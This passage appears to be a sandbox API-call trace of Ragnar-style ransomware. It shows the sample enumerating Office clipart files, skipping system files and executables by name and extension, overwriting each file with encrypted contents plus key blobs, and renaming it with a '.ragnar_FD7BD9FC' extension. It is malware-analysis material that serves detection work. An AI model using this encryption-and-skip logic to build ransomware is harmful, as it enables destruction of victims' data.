dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.479] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.479] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.479] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.479] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.479] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.480] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.480] GetProcessHeap () returned 0x580000 [0085.480] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.480] CloseHandle (hObject=0xf4) returned 1 [0085.480] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" [0085.480] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.ragnar_FD7BD9FC" [0085.480] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.480] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1 [0085.480] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.481] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185834.WMF" | out: lpString1="J0185834.WMF") returned="J0185834.WMF" [0085.481] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned=".WMF" [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="autorun.inf") returned 1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="boot.ini") returned 1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="bootfont.bin") returned 1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="bootsect.bak") returned 1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="bootmgr") returned 1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="bootmgr.efi") returned 1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="bootmgfw.efi") returned 1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="desktop.ini") returned 1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="iconcache.db") returned 1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="ntldr") returned -1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="ntuser.dat") returned -1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="ntuser.dat.log") returned -1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="ntuser.ini") returned -1 [0085.481] lstrcmpiW (lpString1="J0185834.WMF", lpString2="thumbs.db") returned -1 [0085.481] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.481] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.481] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.481] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.481] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.481] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.481] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf")) returned 0x20 [0085.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.482] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8578) returned 1 [0085.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2179, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.482] GetProcessHeap () returned 0x580000 [0085.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.482] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.484] VirtualAlloc (lpAddress=0x0, dwSize=0x2182, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.484] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.484] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.484] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2182, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2182, lpOverlapped=0x0) returned 1 [0085.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.485] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2182, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.485] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2182, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2182, lpOverlapped=0x0) returned 1 [0085.485] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2182, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.486] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.486] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2182, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.486] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.486] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.486] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.486] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.486] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.486] GetProcessHeap () returned 0x580000 [0085.486] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.486] CloseHandle (hObject=0xf4) returned 1 [0085.486] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" [0085.486] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.ragnar_FD7BD9FC" [0085.486] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.487] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1 [0085.487] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.487] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185842.WMF" | out: lpString1="J0185842.WMF") returned="J0185842.WMF" [0085.487] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned=".WMF" [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="autorun.inf") returned 1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="boot.ini") returned 1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="bootfont.bin") returned 1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="bootsect.bak") returned 1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="bootmgr") returned 1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="bootmgr.efi") returned 1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="bootmgfw.efi") returned 1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="desktop.ini") returned 1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="iconcache.db") returned 1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="ntldr") returned -1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="ntuser.dat") returned -1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="ntuser.dat.log") returned -1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="ntuser.ini") returned -1 [0085.487] lstrcmpiW (lpString1="J0185842.WMF", lpString2="thumbs.db") returned -1 [0085.487] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.487] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.487] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.487] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.487] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.487] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.488] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf")) returned 0x20 [0085.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.489] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14308) returned 1 [0085.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x37db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.489] GetProcessHeap () returned 0x580000 [0085.489] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.489] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.490] VirtualAlloc (lpAddress=0x0, dwSize=0x37e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.490] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.490] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.490] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x37e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x37e4, lpOverlapped=0x0) returned 1 [0085.491] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.492] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x37e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.492] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x37e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x37e4, lpOverlapped=0x0) returned 1 [0085.492] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x37e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.492] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x37e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.492] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.492] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.492] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.492] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.492] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.492] GetProcessHeap () returned 0x580000 [0085.492] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.492] CloseHandle (hObject=0xf4) returned 1 [0085.493] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" [0085.493] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.ragnar_FD7BD9FC" [0085.493] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1 [0085.493] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.493] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0186346.WMF" | out: lpString1="J0186346.WMF") returned="J0186346.WMF" [0085.493] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned=".WMF" [0085.493] lstrcmpiW (lpString1="J0186346.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.493] lstrcmpiW (lpString1="J0186346.WMF", lpString2="autorun.inf") returned 1 [0085.493] lstrcmpiW (lpString1="J0186346.WMF", lpString2="boot.ini") returned 1 [0085.493] lstrcmpiW (lpString1="J0186346.WMF", lpString2="bootfont.bin") returned 1 [0085.493] lstrcmpiW (lpString1="J0186346.WMF", lpString2="bootsect.bak") returned 1 [0085.493] lstrcmpiW (lpString1="J0186346.WMF", lpString2="bootmgr") returned 1 [0085.494] lstrcmpiW (lpString1="J0186346.WMF", lpString2="bootmgr.efi") returned 1 [0085.494] lstrcmpiW (lpString1="J0186346.WMF", lpString2="bootmgfw.efi") returned 1 [0085.494] lstrcmpiW (lpString1="J0186346.WMF", lpString2="desktop.ini") returned 1 [0085.494] lstrcmpiW (lpString1="J0186346.WMF", lpString2="iconcache.db") returned 1 [0085.494] lstrcmpiW (lpString1="J0186346.WMF", lpString2="ntldr") returned -1 [0085.494] lstrcmpiW (lpString1="J0186346.WMF", lpString2="ntuser.dat") returned -1 [0085.494] lstrcmpiW (lpString1="J0186346.WMF", lpString2="ntuser.dat.log") returned -1 [0085.494] lstrcmpiW (lpString1="J0186346.WMF", lpString2="ntuser.ini") returned -1 [0085.494] lstrcmpiW (lpString1="J0186346.WMF", lpString2="thumbs.db") returned -1 [0085.494] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.494] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.494] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.494] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.494] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.494] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.494] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf")) returned 0x20 [0085.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.494] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8666) returned 1 [0085.494] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.494] GetProcessHeap () returned 0x580000 [0085.494] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.495] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.496] VirtualAlloc (lpAddress=0x0, dwSize=0x21da, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.496] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.496] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.496] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x21da, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x21da, lpOverlapped=0x0) returned 1 [0085.497] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.497] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21da, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.497] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x21da, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x21da, lpOverlapped=0x0) returned 1 [0085.497] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.498] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.498] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.498] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.498] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.498] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, 